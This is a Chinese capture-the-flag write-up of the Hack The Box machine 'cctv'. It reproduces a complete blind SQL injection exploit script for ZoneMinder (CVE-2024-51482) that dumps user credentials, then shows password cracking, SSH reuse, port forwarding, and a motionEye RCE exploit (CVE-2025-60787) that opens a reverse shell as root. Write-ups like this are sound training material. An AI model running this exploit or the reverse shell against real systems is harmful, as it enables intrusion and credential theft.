端口扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/cctv]
└─$ sudo nmap --min-rate 10000 -p- cctv.htb -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-14 09:39 CST
Nmap scan report for cctv.htb (10.129.5.34)
Host is up (0.084s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

web 渗透

web 进去之后,发现有一个登录的地方,是 ZoneMinder

image1

接着用 admin:admin 进行登录,就直接进来了:

image2

在后台里面寻找一些信息,发现 ZoneMinder 的版本为 1.37.63,网站后台系统路径为 /usr/share/zoneminder ,同时还有一个用户叫 mark

image3

除此之外没有发现其他有用的信息,于是去网上寻找是否存在已知漏洞,发现了一个 CVE-2024-51482 ,是个 SQL 注入漏洞,刚好我们的版本在受影响范围内。

这个 github 页面有 exp,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
#!/usr/bin/env python3
"""
CVE-2024-51482 - ZoneMinder Blind SQL Injection PoC
"""

import requests
import urllib.parse
import sys
import argparse
import time
from typing import Optional, List, Dict

GREEN = '\033[0;32m'
ORANGE = '\033[0;33m'
RED = '\033[0;31m'
CYAN = '\033[0;36m'
YELLOW = '\033[1;33m'
RESET = '\033[0m'

class ZoneMinderExploit:
def __init__(self, ip: str, username: str, password: str, debug: bool = False):
self.ip = ip
self.username = username
self.password = password
self.debug = debug
self.session = requests.Session()
self.session.headers.update({
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
self.baseline_time = 0.1
self.logged_in = False
self.base_url = f"http://{ip}/zm"

def log(self, message: str, color: str = "", level: str = "info") -> None:
if level == "debug" and not self.debug:
return
prefix = {
"info": f"{ORANGE}[*]{RESET}",
"success": f"{GREEN}[+]{RESET}",
"error": f"{RED}[-]{RESET}",
"warning": f"{YELLOW}[!]{RESET}",
"debug": f"{CYAN}[D]{RESET}"
}.get(level, f"{ORANGE}[*]{RESET}")

print(f"{prefix} {color}{message}{RESET}")

def login(self) -> bool:
if self.logged_in:
return True

self.log(f"Logging in as '{self.username}' on {self.ip}...")

login_url = f"{self.base_url}/index.php"
login_data = {
'action': 'login',
'view': 'console',
'username': self.username,
'password': self.password
}

try:
response = self.session.post(
login_url,
data=login_data,
timeout=10,
allow_redirects=True
)

cookies = self.session.cookies.get_dict()
if 'ZMSESSID' in cookies:
self.logged_in = True
self.log("Login successful", GREEN, "success")
return True

if "Invalid username or password" in response.text:
self.log("Invalid credentials", RED, "error")
else:
self.log("Login failed - unexpected response", RED, "error")

return False

except requests.exceptions.ConnectionError:
self.log(f"Failed to connect to {self.ip}", RED, "error")
return False
except Exception as e:
self.log(f"Login error: {str(e)}", RED, "error")
return False

def send_payload(self, payload: str, timeout: Optional[float] = None) -> Optional[float]:
encoded_payload = urllib.parse.quote(payload)
url = f"{self.base_url}/index.php?view=request&request=event&action=removetag&tid={encoded_payload}"

if timeout is None:
timeout = 15

try:
start_time = time.time()
self.session.get(url, timeout=timeout)
elapsed = time.time() - start_time
return elapsed
except requests.exceptions.Timeout:
return timeout
except requests.exceptions.ConnectionError:
self.log("Connection error", RED, "error")
return None
except Exception as e:
self.log(f"Request error: {str(e)}", RED, "error")
return None

def measure_baseline(self, samples: int = 5) -> float:
self.log("Measuring baseline response time...")

times = []
for i in range(samples):
elapsed = self.send_payload("1", timeout=5)
if elapsed is not None:
times.append(elapsed)
time.sleep(0.5)

if not times:
self.log("Could not measure baseline, using default 0.1s", YELLOW, "warning")
return 0.1

times.sort()
baseline = times[len(times) // 2]

self.log(f"Baseline median: {baseline:.3f}s", CYAN)
self.baseline_time = baseline
return baseline

def check_vulnerability(self, sleep_time: int = 2) -> bool:
if not self.logged_in and not self.login():
return False

self.log(f"Testing vulnerability with {sleep_time}s sleep...")

payload = f"1 AND (SELECT * FROM (SELECT SLEEP({sleep_time})) as dummy)"

elapsed = self.send_payload(payload, timeout=sleep_time + 3)
if elapsed is None:
return False

self.log(f"Response time: {elapsed:.2f}s")

if elapsed >= self.baseline_time + sleep_time - 0.5:
self.log("Target is vulnerable!", GREEN, "success")
return True
else:
self.log("Target does not appear vulnerable", RED, "error")
return False

def extract_char(self, query: str, position: int, sleep_time: int = 2) -> Optional[int]:
low, high = 32, 126

while low <= high:
mid = (low + high) // 2

payload = (
f"1 AND (SELECT 1 FROM (SELECT SLEEP({sleep_time}) FROM DUAL "
f"WHERE ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}) as dummy)"
)

elapsed = self.send_payload(payload, timeout=sleep_time + 2)
if elapsed is None:
return None

if elapsed >= sleep_time - 0.3:
low = mid + 1
else:
high = mid - 1

if 32 <= low <= 126:
return low

return None

def extract_string(self, query: str, sleep_time: int = 2,
max_length: int = 64, show_progress: bool = True) -> str:
result = []

for position in range(1, max_length + 1):
char_code = self.extract_char(query, position, sleep_time)

if self.debug and char_code:
self.log(f"Position {position}: ASCII {char_code} = '{chr(char_code)}'", level="debug")

if char_code is None or char_code == 0:
break

if char_code == 0:
break

result.append(chr(char_code))

if show_progress:
progress = ''.join(result)
sys.stdout.write(f"\r{ORANGE}[*] Extracted: {progress}{RESET}")
sys.stdout.flush()

if show_progress:
print()

return ''.join(result)

def enumerate_databases(self, sleep_time: int = 2) -> List[str]:
self.log("Enumerating databases...")
databases = []

for offset in range(50):
query = f"SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name LIMIT {offset},1"
db_name = self.extract_string(query, sleep_time, max_length=64, show_progress=False)

if not db_name or db_name.isspace():
break

db_name = db_name.strip()
if db_name:
self.log(f"Found database: {db_name}", GREEN, "success")
databases.append(db_name)

if db_name == "information_schema" or db_name == "informati":
self.log("Note: Database name may be truncated. Use --debug for details.", YELLOW, "warning")

return databases

def enumerate_tables(self, database: str, sleep_time: int = 2) -> List[str]:
self.log(f"Enumerating tables in '{database}'...")
tables = []

for offset in range(100):
query = f"SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='{database}' ORDER BY table_name LIMIT {offset},1"
table_name = self.extract_string(query, sleep_time, max_length=64, show_progress=False)

if not table_name or table_name.isspace():
break

table_name = table_name.strip()
if table_name:
self.log(f"Found table: {table_name}", GREEN, "success")
tables.append(table_name)

return tables

def enumerate_columns(self, database: str, table: str, sleep_time: int = 2) -> List[str]:
self.log(f"Enumerating columns in '{database}.{table}'...")
columns = []

for offset in range(100):
query = f"SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='{database}' AND table_name='{table}' ORDER BY column_name LIMIT {offset},1"
column_name = self.extract_string(query, sleep_time, max_length=64, show_progress=False)

if not column_name or column_name.isspace():
break

column_name = column_name.strip()
if column_name:
self.log(f"Found column: {column_name}", GREEN, "success")
columns.append(column_name)

return columns

def dump_data(self, database: str, table: str, columns: List[str],
sleep_time: int = 2, max_rows: int = 100) -> List[Dict]:
self.log(f"Dumping data from '{database}.{table}'...")
rows = []

for row_num in range(max_rows):
row_data = {}
row_empty = True

for column in columns:
query = f"SELECT CONCAT(IFNULL(CAST({column} AS CHAR), 'NULL')) FROM {database}.{table} LIMIT {row_num},1"
value = self.extract_string(query, sleep_time, max_length=128, show_progress=False)

if value and value != 'NULL':
row_empty = False
row_data[column] = value
else:
row_data[column] = ""

if row_empty:
break

rows.append(row_data)
self.log(f"Row {row_num + 1}: {row_data}", CYAN)

return rows

def dump_users(self, sleep_time: int = 2) -> List[Dict]:
self.log("Dumping Users table from zm database...")

all_columns = self.enumerate_columns('zm', 'Users', sleep_time)

important_columns = ['Username', 'Password', 'Email', 'Enabled']
available_columns = [col for col in important_columns if col in all_columns]

if not available_columns:
self.log("No important columns found in Users table", RED, "error")
return []

return self.dump_data('zm', 'Users', available_columns, sleep_time)


def main():
parser = argparse.ArgumentParser(
description='CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter
)

parser.add_argument("-i", "--ip", required=True, help="Target IP address")
parser.add_argument("-u", "--user", default="admin", help="Username (default: admin)")
parser.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
parser.add_argument("--sleep", type=int, default=2, help="Sleep time for blind injection (default: 2)")
parser.add_argument("--debug", action="store_true", help="Enable debug output")
parser.add_argument("--no-color", action="store_true", help="Disable colored output")

mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument("--test", action="store_true", help="Test if target is vulnerable")
mode_group.add_argument("--discover", action="store_true", help="Discover all databases")
mode_group.add_argument("--tables", metavar="DATABASE", help="List tables in DATABASE")
mode_group.add_argument("--columns", nargs=2, metavar=("DATABASE", "TABLE"), help="List columns in TABLE")
mode_group.add_argument("--dump", nargs=3, metavar=("DATABASE", "TABLE", "COLUMNS"),
help="Dump data from specified columns (comma-separated)")
mode_group.add_argument("--users", action="store_true", help="Dump users table")

args = parser.parse_args()

if args.no_color:
global GREEN, ORANGE, RED, CYAN, YELLOW, RESET
GREEN = ORANGE = RED = CYAN = YELLOW = RESET = ""

print(f"{CYAN}[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit{RESET}")
print(f"{CYAN}[*] Target: {args.ip}{RESET}\n")

exploit = ZoneMinderExploit(args.ip, args.user, args.password, args.debug)

if not exploit.login():
sys.exit(1)

baseline = exploit.measure_baseline()

if not exploit.check_vulnerability(args.sleep):
if not args.test:
print(f"{RED}[-] Target not vulnerable. Exiting.{RESET}")
sys.exit(1)
else:
sys.exit(0)

try:
if args.test:
print(f"{GREEN}[+] Target is vulnerable!{RESET}")

elif args.discover:
databases = exploit.enumerate_databases(args.sleep)
print(f"\n{GREEN}[+] Databases found:{RESET}")
for i, db in enumerate(databases, 1):
print(f" {i}. {db}")

if any(db == "informati" for db in databases):
print(f"\n{YELLOW}[!] Note: 'information_schema' appears truncated to 'informati'{RESET}")
print(f"{YELLOW}[!] This is a limitation of the blind injection technique{RESET}")
print(f"{YELLOW}[!] The actual database name is 'information_schema'{RESET}")

elif args.tables:
tables = exploit.enumerate_tables(args.tables, args.sleep)
print(f"\n{GREEN}[+] Tables in '{args.tables}':{RESET}")
for i, tbl in enumerate(tables, 1):
print(f" {i}. {tbl}")

elif args.columns:
database, table = args.columns
columns = exploit.enumerate_columns(database, table, args.sleep)
print(f"\n{GREEN}[+] Columns in '{database}.{table}':{RESET}")
for i, col in enumerate(columns, 1):
print(f" {i}. {col}")

elif args.dump:
database, table, columns_str = args.dump
columns = [c.strip() for c in columns_str.split(',')]
rows = exploit.dump_data(database, table, columns, args.sleep)
print(f"\n{GREEN}[+] Total rows extracted: {len(rows)}{RESET}")

elif args.users:
users = exploit.dump_users(args.sleep)
print(f"\n{GREEN}[+] Users extracted: {len(users)}{RESET}")
for user in users:
print(f" {CYAN}User:{RESET} {user.get('Username', 'N/A')}")
print(f" {CYAN}Pass:{RESET} {user.get('Password', 'N/A')}")
if user.get('Email'):
print(f" {CYAN}Email:{RESET} {user['Email']}")
print()

except KeyboardInterrupt:
print(f"\n{YELLOW}[!] Interrupted by user{RESET}")
sys.exit(0)


if __name__ == "__main__":
main()

使用这个 exp ,我获得了数据库中用户的密码:

image4

根据刚才用户名的顺序,猜测第二个为 mark 这个用户的密码,使用 john 进行爆破:

image5

爆破出来密码是 opensesame ,尝试用 mark:opensesame 进行 ssh 登录,登录成功了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HTB/cctv]
└─$ ssh mark@cctv.htb
mark@cctv:~$ ls
mark@cctv:~$ ls -liah
total 36K
157 drwxr-x--- 5 mark mark 4.0K Mar 2 09:49 .
16 drwxr-xr-x 4 root root 4.0K Mar 2 09:49 ..
193 lrwxrwxrwx 1 root root 9 Feb 13 10:01 .bash_history -> /dev/null
173 -rw-r--r-- 1 mark mark 220 Mar 31 2024 .bash_logout
169 -rw-r--r-- 1 mark mark 3.7K Mar 31 2024 .bashrc
184 drwx------ 2 mark mark 4.0K Mar 2 09:49 .cache
255 drwx------ 3 mark mark 4.0K Mar 2 09:49 .gnupg
172 -rw-r--r-- 1 mark mark 807 Mar 31 2024 .profile
182 drwx------ 2 mark mark 4.0K Mar 2 09:49 .ssh
254 -rw-rw-r-- 1 mark mark 165 Sep 14 22:15 .wget-hsts

但是没有 user flag,发现在 /home 目录下还有一个用户 sa_mark,应该还需要移动到这个用户上才行。

提权

/opt/video/backups/ 目录下发现了 server.log ,里面写了一些关于 sa_mark 用户的信息:

1
2
3
4
5
6
mark@cctv:/opt/video/backups$ cat server.log 
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-14 03:37:53
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-14 03:38:26
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-14 03:39:23
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-14 03:39:59
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-14 03:40:38

估计这个用户跟系统里的另外的服务有关系,那就查看一下靶机还开启了哪些端口:

image6

发现还开了几个端口,用 curl 测试发现,8765 端口似乎有 web 内容,用 ssh 端口转发出来:

1
ssh mark@cctv.htb -L 8765:127.0.0.1:8765

然后访问自己的 8765 端口:

image7

发现是个 motioneye ,但是我们需要登录,测试了几个弱口令,没有成功。

于是就网上找找有没有现成的漏洞,找到了一个 CVE-2025-60787,这是个 RCE 的漏洞,而且版本也刚好和我们这里的版本匹配,但是需要一个管理员的账户才行,所以我们还是得先登录上去。

所以我们就现在靶机内部寻找跟 motioneye 有关的文件,最终找到了 /etc/motioneye/motion.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf

上面有 admin_password ,尝试把他当成明文密码直接登录我们的 8765 端口,登录成功了:

image8

于是我们使用前面的 CVE 的 exp 尝试进行反弹 shell:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/cctv]
└─$ python3 motion_exp.py -t http://localhost:8765 -u admin -p 989c5a8ee87a0e9521ec81a79187d162109282f0 -lh IP -lp 1234
[*] Connecting to http://localhost:8765 ...
[+] Authenticated successfully
[+] Auto-detected camera ID: 1
[+] Got config for camera 1
[+] Payload injected into camera 1

[!] Start listener: nc -lvnp 1234
[*] Waiting for shell..............................
[*] Done. If no shell, wait another capture interval (~10s).

本地就收到了反弹回来的 shell:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/HTB/cctv]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on X.X.X.X 36266
bash: cannot set terminal process group (9465): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# whoami
whoami
root

拿到的直接就是 root shell。

获取 user flag 和 root flag:

1
2
3
4
5
6
7
root@cctv:~# cat /home/sa_mark/user.txt
cat /home/sa_mark/user.txt
95d658152b940797cd52e4350xxxxxxx
root@cctv:~# cat root.txt
cat root.txt
41a6ff578a03fd463fa2c456dxxxxxxx
root@cctv:~#